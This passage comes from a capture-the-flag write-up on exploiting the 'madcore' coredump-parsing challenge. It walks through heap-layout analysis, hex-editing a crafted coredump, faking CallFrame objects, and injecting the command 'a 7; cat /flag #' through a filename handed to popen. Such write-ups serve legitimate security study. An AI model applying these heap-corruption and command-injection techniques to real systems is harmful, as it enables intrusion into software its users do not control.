                         ================================ std::optional&lt;unsigned_int&gt; initialized = 0x01 and value = 0x07
                        \/
<span class="nl">0x5647a04a5e10</span><span class="p">:</span>	<span class="mh">0xafaa1a0100000007</span>	<span class="mh">0x0000000000000000</span>
<span class="nl">0x5647a04a5e20</span><span class="p">:</span>	<span class="mh">0x0000000000000000</span>	<span class="mh">0x0000000000000000</span>
<span class="nl">0x5647a04a5e30</span><span class="p">:</span>	<span class="mh">0x0000000000000118</span>	<span class="mh">0x0000000000000859</span>
<span class="nl">0x5647a04a5e40</span><span class="p">:</span>	<span class="mh">0x00005647a04a49a0</span>	<span class="mh">0x0000000000000248</span>
<span class="nl">0x5647a04a5e50</span><span class="p">:</span>	<span class="mh">0x000000000006b26e</span>	<span class="mh">0x00005647a04a49a0</span>
<span class="nl">0x5647a04a5e60</span><span class="p">:</span>	<span class="mh">0x00000000000002a8</span>	<span class="mh">0x000000000006b05e</span>
<span class="nl">0x5647a04a5e70</span><span class="p">:</span>	<span class="mh">0x00005647a04a49a0</span>	<span class="mh">0x00000000000002c8</span>
<span class="nl">0x5647a04a5e80</span><span class="p">:</span>	<span class="mh">0x000000000006b10c</span>	<span class="mh">0x00005647a04a49a0</span>
<span class="nl">0x5647a04a5e90</span><span class="p">:</span>	<span class="mh">0x00000000000002e8</span>	<span class="mh">0x000000000006b05e</span>
<span class="nl">0x5647a04a5ea0</span><span class="p">:</span>	<span class="mh">0x00005647a04a49a0</span>	<span class="mh">0x0000000000000328</span>
<span class="nl">0x5647a04a5eb0</span><span class="p">:</span>	<span class="mh">0x00000000000258f0</span>	<span class="mh">0x00005647a04a4c40</span>
<span class="nl">0x5647a04a5ec0</span><span class="p">:</span>	<span class="mh">0x0000000000000000</span>	<span class="mh">0x000000000000c141</span> <span class="p">===&gt;</span> top chunk
</code></pre></div></div>

<p>the layout:</p>
<ul>
  <li>our allocated chunk</li>
  <li>all binary filenames from <code class="language-plaintext highlighter-rouge">Corefile::ParseNtFile()</code></li>
  <li>Backtrace object we want to overwrite</li>
</ul>

<p>however, the layout will be different if we pass huge size as this is the condition that has to be fulfilled in order to allocate all filename chunks:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="n">size</span> <span class="o">&lt;=</span> <span class="n">index</span><span class="p">)</span>
</code></pre></div></div>
<p>so, if size will be huge, the <code class="language-plaintext highlighter-rouge">Backtrace</code> chunk will land just after the allocated chunk. We just have to make sure the top chunk size bytes won’t change because
otherwise next <code class="language-plaintext highlighter-rouge">malloc()</code> call will crash. As I am not really familiar with <em>coredump</em> file structure, I added breakpoint in <code class="language-plaintext highlighter-rouge">Corefile::ParseNtFile()</code> function
and looked for offset where the <code class="language-plaintext highlighter-rouge">elf64_note</code> lies.</p>
<ul>
  <li>the <code class="language-plaintext highlighter-rouge">RSI</code> register contained address that is placed at offset <code class="language-plaintext highlighter-rouge">0xd68</code> of <em>coredump</em> file buffer.</li>
  <li><code class="language-plaintext highlighter-rouge">malloc()</code> was invoked with value <code class="language-plaintext highlighter-rouge">0xf8</code> so the initial size is: <code class="language-plaintext highlighter-rouge">0xf8 &gt;&gt; 3 = 0x1f</code></li>
</ul>

<p>I opened the <em>coredump</em> file in <code class="language-plaintext highlighter-rouge">nvim</code> using command: <code class="language-plaintext highlighter-rouge">$ nvim -b core</code> and <code class="language-plaintext highlighter-rouge">:%!xxd</code> inside <code class="language-plaintext highlighter-rouge">nvim</code> to edit it in more human-friendly format.</p>

<p>It was quite easy to find the correct offset:</p>

<div class="language-hexdump highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">00000d60:</span> <span class="go">0000 0000 0000 0000 </span><span class="mh">05</span><span class="go">00 0000 </span><span class="s">71</span><span class="mh">08 </span><span class="go">0000  ........</span><span class="mh">.</span><span class="go">...</span><span class="s">q</span><span class="mh">.</span><span class="go">..</span>
                                         ============== size
                                        \/
<span class="gp">00000d70:</span> <span class="s">454c 4946 434f 5245 </span><span class="go">0000 0000 </span><span class="mh">1f</span><span class="go">00 0000  </span><span class="s">ELIFCORE</span><span class="go">....</span><span class="mh">.</span><span class="go">...</span>
<span class="gp">00000d80:</span> <span class="go">0000 0000 00</span><span class="mh">10 </span><span class="go">0000 0000 0000 00</span><span class="mh">80 </span><span class="s">7b2f  </span><span class="go">.....</span><span class="mh">.</span><span class="go">.......</span><span class="mh">.</span><span class="s">{/</span>
</code></pre></div></div>

<p>and replace the value with <code class="language-plaintext highlighter-rouge">0x2000000000000020</code>.
To save the file in <code class="language-plaintext highlighter-rouge">nvim</code> we have to execute <code class="language-plaintext highlighter-rouge">:%!xxd -r</code> and <code class="language-plaintext highlighter-rouge">:w</code> to write the file.</p>

<div class="language-hexdump highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">00000d60:</span> <span class="go">0000 0000 0000 0000 </span><span class="mh">05</span><span class="go">00 0000 </span><span class="s">71</span><span class="mh">08 </span><span class="go">0000  ........</span><span class="mh">.</span><span class="go">...</span><span class="s">q</span><span class="mh">.</span><span class="go">..</span>
                                        ===============================\
                                        \___ ____                       \ size
<span class="gp">00000d70:</span> <span class="s">454c 4946 434f 5245 </span><span class="go">0000 0000 </span><span class="w">20</span><span class="go">00 0000  </span><span class="s">ELIFCORE</span><span class="go">....</span><span class="w"> </span><span class="go">...</span>     / 0x2000000000000020
                   ====================================================/ 
          ____ ___/
<span class="gp">00000d80:</span> <span class="go">0000 00</span><span class="w">20 </span><span class="go">00</span><span class="mh">10 </span><span class="go">0000 0000 0000 00</span><span class="mh">80 </span><span class="s">7b2f  </span><span class="go">...</span><span class="w"> </span><span class="go">.</span><span class="mh">.</span><span class="go">.......</span><span class="mh">.</span><span class="s">{/</span>
</code></pre></div></div>

<p>and after running the program with a changed size:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>➜  writeup git:<span class="o">(</span>main<span class="o">)</span> ✗ ./solve.py <span class="nv">CORE</span><span class="o">=</span>crash/core.1001.14162.1657865437 
<span class="o">[</span><span class="k">*</span><span class="o">]</span> len: 507904
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Switching to interactive mode
malloc<span class="o">()</span>: corrupted top size
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Got EOF <span class="k">while </span>reading <span class="k">in </span>interactive
</code></pre></div></div>

<p>Last step here will be finding offset of the data that overwrites the top chunk size and replace it with value <code class="language-plaintext highlighter-rouge">0xc8d1</code>
(the size after <code class="language-plaintext highlighter-rouge">malloc()</code> is invoked in the <code class="language-plaintext highlighter-rouge">Corefile::ParseNtFile()</code>).
I found it simply by:</p>
<ol>
  <li>find address of top chunk after <code class="language-plaintext highlighter-rouge">malloc()</code> call in <code class="language-plaintext highlighter-rouge">Corefile::ParseNtFile()</code></li>
  <li>check the value of that address after <code class="language-plaintext highlighter-rouge">Corefile::ParseNtFile()</code> function returns</li>
  <li>find first occurence of that value in <em>coredump</em> file</li>
</ol>

<p>probably this is not 100% working solution, but worked for me. The value will be after offset (<code class="language-plaintext highlighter-rouge">0xd68</code>) at which the size was located.</p>

<p>And this is the result:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>➜  writeup git:<span class="o">(</span>main<span class="o">)</span> ✗ ./solve.py <span class="nv">CORE</span><span class="o">=</span>crash/core.1001.14162.1657865437    
<span class="o">[</span><span class="k">*</span><span class="o">]</span> len: 507904
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Switching to interactive mode
<span class="o">{</span><span class="s2">"backtrace"</span>:[[0,<span class="s2">"&lt;unknown&gt;"</span><span class="o">]</span>,[2137,<span class="s2">"0x118</span><span class="se">\n</span><span class="s2">"</span><span class="o">]</span>,[438894,<span class="s2">"0x248</span><span class="se">\n</span><span class="s2">"</span><span class="o">]</span>,[438366,<span class="s2">"0x2a8</span><span class="se">\n</span><span class="s2">"</span><span class="o">]</span>,[438540,<span class="s2">"0x2c8</span><span class="se">\n</span><span class="s2">"</span><span class="o">]</span>,[438366,<span class="s2">"0x2e8</span><span class="se">\n</span><span class="s2">"</span><span class="o">]</span>,[153840,<span class="s2">"0x328</span><span class="se">\n</span><span class="s2">"</span><span class="o">]]</span>,<span class="s2">"modules"</span>:[]<span class="o">}</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Got EOF <span class="k">while </span>reading <span class="k">in </span>interactive
</code></pre></div></div>

<p>Let’s check the value of <code class="language-plaintext highlighter-rouge">frameCount</code> before running <code class="language-plaintext highlighter-rouge">Backtrace::PushModule()</code>:</p>

<ol>
  <li>set breakpoint to <code class="language-plaintext highlighter-rouge">Backtrace::PushModule()</code></li>
  <li>Get the address from <code class="language-plaintext highlighter-rouge">RDI</code> register (address of <code class="language-plaintext highlighter-rouge">Backtrace</code> object)</li>
  <li>print the value of <code class="language-plaintext highlighter-rouge">frameCount</code>:
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pwndbg&gt; x/xw <span class="nv">$rdi</span>+0x10      <span class="c"># value</span>
0x5626f73fc750:	0x742f6572
pwndbg&gt; x/xb <span class="nv">$rdi</span>+0x10+0x4  <span class="c"># has_value</span>
0x5626f73fc754:	0x00
</code></pre></div>    </div>
  </li>
</ol>

<h4 id="backtrace-initialization">Backtrace initialization</h4>

<p>This step is easy as the <code class="language-plaintext highlighter-rouge">Backtrace</code> is initialized unconditionally.</p>

<h4 id="avoid-backtracepushmodule">Avoid Backtrace::PushModule()</h4>

<p>In order to avoid calling <code class="language-plaintext highlighter-rouge">Backtrace::PushModule()</code> we need to analyze the code that runs it:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">((</span><span class="n">binaryWithNewAddr</span> <span class="o">!=</span> <span class="p">(</span><span class="n">Binary</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="n">binaryWithNewAddr</span><span class="p">.</span><span class="n">IsExecutable</span><span class="p">()</span> <span class="o">==</span> <span class="nb">true</span><span class="p">))</span> <span class="p">{</span>
  <span class="n">backtrace</span><span class="p">.</span><span class="n">PushModule</span><span class="p">(</span><span class="n">binaryWithNewAddr</span><span class="p">,</span> <span class="n">addrInCore</span><span class="p">,</span> <span class="n">tempAddr</span> <span class="o">-</span> <span class="n">address</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>We have to change memory protections of all binaries in <em>coredump</em> file to have lowest bit set to <code class="language-plaintext highlighter-rouge">0</code> and the condition will never be <code class="language-plaintext highlighter-rouge">true</code>.
It was really easy to do in <code class="language-plaintext highlighter-rouge">nvim</code>, just:</p>
<ol>
  <li>open it in binary mode: <code class="language-plaintext highlighter-rouge">$ nvim -b core</code></li>
  <li>use <code class="language-plaintext highlighter-rouge">:%!xxd</code> to move to human-friendly format</li>
  <li>select the memory at the beginning that contains all <code class="language-plaintext highlighter-rouge">elf64_phdr</code> entries</li>
  <li>replace all <code class="language-plaintext highlighter-rouge">0500 </code> characters with <code class="language-plaintext highlighter-rouge">0400 </code>: <code class="language-plaintext highlighter-rouge">:'&lt;,'&gt;s/0500 /0400 /g</code></li>
</ol>

<p>and here is the result:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>➜  writeup git:<span class="o">(</span>main<span class="o">)</span> ✗ ./solve.py <span class="nv">CORE</span><span class="o">=</span>crash/core.1001.14162.1657865437    
<span class="o">[</span><span class="k">*</span><span class="o">]</span> len: 507904
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Switching to interactive mode
LLVMSymbolizer: error reading file: No such file or directory
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Got EOF <span class="k">while </span>reading <span class="k">in </span>interactive
</code></pre></div></div>

<h4 id="fake-objects">fake objects</h4>

<h5 id="debugging">debugging</h5>

<p>Let’s check with <code class="language-plaintext highlighter-rouge">gdb</code> what is going on inside</p>

<ol>
  <li>Set breakpoint at <code class="language-plaintext highlighter-rouge">Backtrace::GetFrameCount()</code> to check the returned value:
<code class="language-plaintext highlighter-rouge">Backtrace::GetFrameCount()</code> returns <code class="language-plaintext highlighter-rouge">0x742f6572</code> value - <strong>success</strong></li>
  <li>Set breakpoint to <code class="language-plaintext highlighter-rouge">Binary::GetFileName()</code> to check which <code class="language-plaintext highlighter-rouge">CallFrame</code> makes it to <code class="language-plaintext highlighter-rouge">Symbolizer::Symbolicate()</code></li>
</ol>

<h5 id="preparing-memory-layout">preparing memory layout</h5>

<p>It turns out that the <code class="language-plaintext highlighter-rouge">Backtrace::frames</code> array is empty and the first non-empty element that is treated as <code class="language-plaintext highlighter-rouge">CallFrame</code> element is inside
<code class="language-plaintext highlighter-rouge">MappedRegisterSet</code> object allocated just after the <code class="language-plaintext highlighter-rouge">Backtrace</code> object.
Lucky for us, we have almost full control over the content of that class. We cannot change the first qword of that class as this is <code class="language-plaintext highlighter-rouge">vpointer</code>.
However, we can change every next byte of that class.</p>

<p>register values are stored at offset <code class="language-plaintext highlighter-rouge">0x70</code> and I think that data between <code class="language-plaintext highlighter-rouge">vpointer</code> and <code class="language-plaintext highlighter-rouge">registers</code> is either unused or just copies the memory from <em>coredump</em> file.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">X86RegisterSet</span> <span class="o">*</span> <span class="n">__thiscall</span> <span class="n">X86RegisterSet</span><span class="o">::</span><span class="n">GetRegisters</span><span class="p">(</span><span class="n">X86RegisterSet</span> <span class="o">*</span><span class="k">this</span><span class="p">)</span> <span class="p">{</span>
  <span class="k">return</span> <span class="k">this</span> <span class="o">+</span> <span class="mh">0x70</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Due to <code class="language-plaintext highlighter-rouge">popen()</code> call inside the program, it was hard to debug what happens after first <code class="language-plaintext highlighter-rouge">Symbolizer::Symbolicate()</code> run. Here, the <em>coredump</em> files come to the rescue!</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>➜  writeup git:<span class="o">(</span>main<span class="o">)</span> ✗ ./solve.py <span class="nv">CORE</span><span class="o">=</span>crash/core.1001.14162.1657865437
<span class="o">[</span><span class="k">*</span><span class="o">]</span> len: 507904
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Switching to interactive mode
LLVMSymbolizer: error reading file: No such file or directory
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Got EOF <span class="k">while </span>reading <span class="k">in </span>interactive
<span class="nv">$ </span>
➜  writeup git:<span class="o">(</span>main<span class="o">)</span> ✗ <span class="nb">ls</span> | <span class="nb">grep </span>core
core.1001.182319.1658134823
madcore
➜  writeup git:<span class="o">(</span>main<span class="o">)</span> ✗ gdb <span class="nt">-c</span> core.1001.182319.1658134823 madcore
pwndbg&gt; info registers
rax            0x57e               1406
rbx            0x73                115
rcx            0x1                 1
rdx            0x2d6362696c2f757e  3270565959327249790
rsi            0x7f41254479ab      139917774846379
rdi            0x2d6362696c2f757e  3270565959327249790
rbp            0x7ffcc8bd0040      0x7ffcc8bd0040
rsp            0x7ffcc8bcfad8      0x7ffcc8bcfad8
r8             0x7f412556f040      139917776056384
r9             0x7f412556f0c0      139917776056512
r10            0x7f412556efc0      139917776056256
r11            0x0                 0
r12            0x16                22
r13            0x2d6362696c2f757e  3270565959327249790
r14            0x0                 0
r15            0x7ffcc8bd01c0      140723676316096
rip            0x7f412553cd99      0x7f412553cd99
eflags         0x10283             <span class="o">[</span> CF SF IF RF <span class="o">]</span>
cs             0x33                51
ss             0x2b                43
ds             0x0                 0
es             0x0                 0
fs             0x0                 0
gs             0x0                 0
pwndbg&gt; x/10i <span class="nv">$pc</span>
<span class="o">=&gt;</span> 0x7f412553cd99:	vpcmpeqb ymm1,ymm0,YMMWORD PTR <span class="o">[</span>rdi]
   0x7f412553cd9d:	vpmovmskb eax,ymm1
   0x7f412553cda1:	<span class="nb">test   </span>eax,eax
   0x7f412553cda3:	je     0x7f412553ce00
   0x7f412553cda5:	tzcnt  eax,eax
   0x7f412553cda9:	vzeroupper 
   0x7f412553cdac:	ret    
   0x7f412553cdad:	nop    DWORD PTR <span class="o">[</span>rax]
   0x7f412553cdb0:	tzcnt  eax,eax
   0x7f412553cdb4:	sub    edi,edx
</code></pre></div></div>

<p>The failing instruction is inside <code class="language-plaintext highlighter-rouge">sprintf()</code> call.
It comes out the value under <code class="language-plaintext highlighter-rouge">RDI</code> register is the value from next fake <code class="language-plaintext highlighter-rouge">CallFrame</code> after <code class="language-plaintext highlighter-rouge">vpointer</code> plus <code class="language-plaintext highlighter-rouge">0x10</code> (offset at which the <code class="language-plaintext highlighter-rouge">Binary::fileName</code> should be).</p>

<p><strong>Conclusion:</strong> Memory layout we want to prepare needs to contain only valid addresses at offsets representing <code class="language-plaintext highlighter-rouge">CallFrame::binaryAddr</code> - <strong>but… how to do that without leaks?</strong>
Here, the functionality of <code class="language-plaintext highlighter-rouge">madcore</code> comes to the rescue:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="n">binaryPtr</span> <span class="o">!=</span> <span class="p">(</span><span class="n">Binary</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
  <span class="n">mappedRegisterSet</span><span class="p">.</span><span class="n">GetRAX</span><span class="p">();</span>
  <span class="n">core</span> <span class="o">=</span> <span class="n">binaryPtr</span><span class="o">-&gt;</span><span class="n">GetCore</span><span class="p">();</span>
  <span class="n">raxPtr</span> <span class="o">=</span> <span class="n">mappedRegisterSet</span><span class="p">.</span><span class="n">GetRAX</span><span class="p">();</span>
  <span class="n">rax</span> <span class="o">=</span> <span class="o">*</span><span class="n">raxPtr</span><span class="p">;</span>
  <span class="n">vaddr</span> <span class="o">=</span> <span class="n">binaryPtr</span><span class="o">-&gt;</span><span class="n">GetVirtualAddress</span><span class="p">();</span>
  <span class="n">mappedRegisterSet</span><span class="p">.</span><span class="n">GetRAX</span><span class="p">();</span>
  <span class="o">*</span><span class="n">raxPtr</span> <span class="o">=</span> <span class="n">core</span> <span class="o">+</span> <span class="p">(</span><span class="n">rax</span> <span class="o">-</span> <span class="n">vaddr</span><span class="p">);</span>
  <span class="n">mappedRegisterSet</span><span class="p">.</span><span class="n">GetRAX</span><span class="p">();</span>
  <span class="n">vaddr</span> <span class="o">=</span> <span class="n">binaryPtr</span><span class="o">-&gt;</span><span class="n">GetVirtualAddress</span><span class="p">();</span>
<span class="p">}</span>
</code></pre></div></div>

<p>this code basically translates address from <em>coredump</em> to address of chunk allocated for <em>coredump</em> buffer during <code class="language-plaintext highlighter-rouge">madcore</code> program execution, meaning that the program will
make the address valid for us. This is what we have to do now:</p>
<ol>
  <li>Clean the memory to have <code class="language-plaintext highlighter-rouge">0x00</code> at offsets corresponding to <code class="language-plaintext highlighter-rouge">CallFrame::binaryAddr</code>
The code that can help with finding them is:
    <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">*</span><span class="p">(</span><span class="n">index</span> <span class="o">*</span> <span class="mi">8</span> <span class="o">+</span> <span class="n">buffer</span><span class="p">)</span> <span class="o">=</span> <span class="o">*</span><span class="n">memoryPtr</span><span class="p">;</span>
<span class="n">memoryPtr</span> <span class="o">=</span> <span class="n">memoryPtr</span> <span class="o">+</span> <span class="mi">3</span><span class="p">;</span> <span class="c1">// here it's memoryPtr + 0x18 but memoryPtr is of type ulong*</span>
<span class="n">index</span> <span class="o">=</span> <span class="n">index</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
</code></pre></div>    </div>
    <p>because the offset between next values to zero-out is <code class="language-plaintext highlighter-rouge">0x18 * 0x3 = 0x48</code></p>
  </li>
  <li>Find register which is placed at the correct offset and set it’s value to valid address from <em>coredump</em> perspective that will be then translated to valid address.
In my case it was <code class="language-plaintext highlighter-rouge">R14</code> which was at offset <code class="language-plaintext highlighter-rouge">0x8</code> (so <code class="language-plaintext highlighter-rouge">registers[1]</code>). It was pointing at offset <code class="language-plaintext highlighter-rouge">0x40000</code>:</li>
</ol>

<div class="language-telescope highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nl">0x55c516ae1800</span><span class="p">:</span>	<span class="mh">0x696c2f756e672d78</span>	<span class="mh">0x0000000000000121</span> <span class="p">===&gt;</span> MappedRegisterSet
<span class="nl">0x55c516ae1810</span><span class="p">:</span>	<span class="mh">0x000055c516073ac8</span>	<span class="mh">0x00007fe9b008f994</span>
<span class="nl">0x55c516ae1820</span><span class="p">:</span>	<span class="mh">0x0000000000000150</span>	<span class="mh">0x0000000000000000</span>
<span class="nl">0x55c516ae1830</span><span class="p">:</span>	<span class="mh">0x2d34365f3638782f</span>	<span class="mh">0x2f006f732e31332e</span>
<span class="nl">0x55c516ae1840</span><span class="p">:</span>	<span class="mh">0x0000000000000000</span>	<span class="mh">0x782f62696c2f7273</span>
<span class="nl">0x55c516ae1850</span><span class="p">:</span>	<span class="mh">0x332e322d6362696c</span>	<span class="mh">0x0000000000000000</span>
<span class="nl">0x55c516ae1860</span><span class="p">:</span>	<span class="mh">0x7273752f006f732e</span>	<span class="mh">0x696c2f756e672d78</span>
<span class="nl">0x55c516ae1870</span><span class="p">:</span>	<span class="mh">0x0000000000000000</span>	<span class="mh">0x7362696c2f756e67</span>
<span class="nl">0x55c516ae1880</span><span class="p">:</span>	<span class="mh">0x0000000000000001</span>	<span class="mh">0x00007fe9b00cf010</span> <span class="p">===&gt;</span> registers[<span class="mi">0</span>] registers[<span class="mi">1</span>] <span class="p">&lt;===</span> <span class="nv">R14</span> with valid addre<span class="nv">ss</span>
<span class="nl">0x55c516ae1890</span><span class="p">:</span>	<span class="mh">0x0000000000000020</span>	<span class="mh">0x00007fe9b00f2020</span>
<span class="nl">0x55c516ae18a0</span><span class="p">:</span>	<span class="mh">0x00007fe9b00f2120</span>	<span class="mh">0x00007fe9b00b7f50</span>
<span class="nl">0x55c516ae18b0</span><span class="p">:</span>	<span class="mh">0x0000000000000146</span>	<span class="mh">0x0000000000000008</span>
<span class="nl">0x55c516ae18c0</span><span class="p">:</span>	<span class="mh">0x00007fe9b00f1da0</span>	<span class="mh">0x0000000000000000</span>
<span class="nl">0x55c516ae18d0</span><span class="p">:</span>	<span class="mh">0x0000000000000000</span>	<span class="mh">0x00007fe9b00e101b</span>
<span class="nl">0x55c516ae18e0</span><span class="p">:</span>	<span class="mh">0x0000000000000000</span>	<span class="mh">0x00007fe9b00f1da0</span>
<span class="nl">0x55c516ae18f0</span><span class="p">:</span>	<span class="mh">0x0000000000000002</span>	<span class="mh">0x000000000000000e</span>
<span class="nl">0x55c516ae1900</span><span class="p">:</span>	<span class="mh">0x00007efca373f00b</span>	<span class="mh">0x0000000000000033</span>
<span class="nl">0x55c516ae1910</span><span class="p">:</span>	<span class="mh">0x0000000000000246</span>	<span class="mh">0x00007fe9b00f1da0</span>
<span class="nl">0x55c516ae1920</span><span class="p">:</span>	<span class="mh">0x000000000000002b</span>	<span class="mh">0x0000000000000031</span>
<span class="gp">pwndbg&gt;</span> vmmap <span class="mh">0x00007fe9b00cf010</span>
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    <span class="mh">0x7fe9b008f000</span>     <span class="mh">0x7fe9b1094000</span> rw-p  <span class="mi">1005000</span> <span class="mi">0</span>      <span class="no">[anon_7fe9b008f]</span> +<span class="mh">0x40010</span> <span class="p">&lt;===</span> offset is reduced by <span class="mh">0x10</span> == <span class="mh">0x40000</span>
</code></pre></div></div>

<ol>
  <li>Overwrite the memory at offset+0x10 to the malicious <code class="language-plaintext highlighter-rouge">Binary::fileName</code></li>
</ol>

<div class="language-hexdump highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">00040000:</span> <span class="mh">90</span><span class="s">2b </span><span class="mh">aca3 fc</span><span class="s">7e </span><span class="go">0000 </span><span class="mh">b0c4 9ba3 fc</span><span class="s">7e </span><span class="go">0000  </span><span class="mh">.</span><span class="s">+</span><span class="mh">...</span><span class="s">~</span><span class="go">..</span><span class="mh">.....</span><span class="s">~</span><span class="go">..</span>
<span class="gp">00040010:</span> <span class="s">4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA</span>
<span class="gp">00040020:</span> <span class="s">4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA</span>
<span class="gp">00040030:</span> <span class="s">4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA</span>
<span class="gp">00040040:</span> <span class="s">4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA</span>
</code></pre></div></div>

<ol>
  <li>Replace <code class="language-plaintext highlighter-rouge">A</code> characters with malicious command in <code class="language-plaintext highlighter-rouge">solve.py</code></li>
</ol>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">to_replace</span> <span class="o">=</span> <span class="sa">b</span><span class="sh">"</span><span class="s">A</span><span class="sh">"</span><span class="o">*</span><span class="mi">64</span>
<span class="n">lngth</span> <span class="o">=</span> <span class="nf">len</span><span class="p">(</span><span class="n">to_replace</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">=</span>  <span class="sa">b</span><span class="sh">"</span><span class="s">a 7; cat /flag #</span><span class="sh">"</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">payload</span><span class="p">.</span><span class="nf">ljust</span><span class="p">(</span><span class="n">lngth</span><span class="p">,</span> <span class="sa">b</span><span class="sh">"</span><span class="s">a</span><span class="sh">"</span><span class="p">)</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">data</span><span class="p">.</span><span class="nf">replace</span><span class="p">(</span><span class="n">to_replace</span><span class="p">,</span> <span class="n">payload</span><span class="p">)</span>
</code></pre></div></div>

<ol>
  <li>Fix last bug:
As the <code class="language-plaintext highlighter-rouge">frameCount</code> is huge, the loop executing <code class="language-plaintext highlighter-rouge">Symbolizer::Symbolicate()</code> won’t stop after our fake <code class="language-plaintext highlighter-rouge">CallFrame</code> but will go further. This will end with <code class="language-plaintext highlighter-rouge">SEGFAULT</code>
or other errors and as a result the JSON with outputs won’t be printed and we won’t see the output of command. In order to fix that I specified the <code class="language-plaintext highlighter-rouge">frameCount</code> value
that will cause the loop to finish just after fake <code class="language-plaintext highlighter-rouge">CallFrame</code>. This is fairly easy, as we know the current value (<code class="language-plaintext highlighter-rouge">0x742f6572</code>) and we know it is <code class="language-plaintext highlighter-rouge">0x18 * 0x3 = 0x48</code>
after the top chunk size we already written into our <em>coredump</em> file.
The value <code class="language-plaintext highlighter-rouge">frameCount == 0xd</code> returned following result:</li>
</ol>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>➜  writeup git:<span class="o">(</span>main<span class="o">)</span> ✗ ./solve.py <span class="nv">CORE</span><span class="o">=</span>crash/core.1001.14162.1657865437
<span class="o">[</span><span class="k">*</span><span class="o">]</span> len: 507904
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Switching to interactive mode
LLVMSymbolizer: error reading file: No such file or directory
LLVMSymbolizer: error reading file: No such file or directory
<span class="o">{</span><span class="s2">"backtrace"</span>:[[0,<span class="s2">"&lt;unknown&gt;"</span><span class="o">]</span>,[0,<span class="s2">"&lt;unknown&gt;"</span><span class="o">]</span>,[0,<span class="s2">"&lt;unknown&gt;"</span><span class="o">]</span>,[0,<span class="s2">"&lt;unknown&gt;"</span><span class="o">]</span>,[0,<span class="s2">"&lt;unknown&gt;"</span><span class="o">]</span>,[0,<span class="s2">"&lt;unknown&gt;"</span><span class="o">]</span>,[0,<span class="s2">"&lt;unknown&gt;"</span><span class="o">]</span>,[289,<span class="s2">"??</span><span class="se">\n</span><span class="s2">??:0:0</span><span class="se">\n\n</span><span class="s2">"</span><span class="o">]</span>,[336,<span class="s2">"&lt;unknown&gt;"</span><span class="o">]</span>,[3386829460269511470,<span class="s2">"&lt;unknown&gt;"</span><span class="o">]</span>,[3687940315385325932,<span class="s2">"&lt;unknown&gt;"</span><span class="o">]</span>,[7596498852877118840,<span class="s2">"&lt;unknown&gt;"</span><span class="o">]</span>,[1,<span class="s2">"??</span><span class="se">\n</span><span class="s2">??:0:0</span><span class="se">\n\n</span><span class="s2">CTF{TEST_FLAG}</span><span class="se">\n</span><span class="s2">"</span><span class="o">]]</span>,<span class="s2">"modules"</span>:[]<span class="o">}</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Got EOF <span class="k">while </span>reading <span class="k">in </span>interactive
<span class="nv">$ </span>
</code></pre></div></div>
<p>and on remote:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>➜  writeup git:<span class="o">(</span>main<span class="o">)</span> ✗ ./solve.py <span class="nv">CORE</span><span class="o">=</span>crash/core.1001.14162.1657865437 REMOTE
<span class="o">[</span>+] Opening connection to madcore.2022.ctfcompetition.com on port 1337: Done
<span class="o">[</span><span class="k">*</span><span class="o">]</span> len: 507904
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Switching to interactive mode
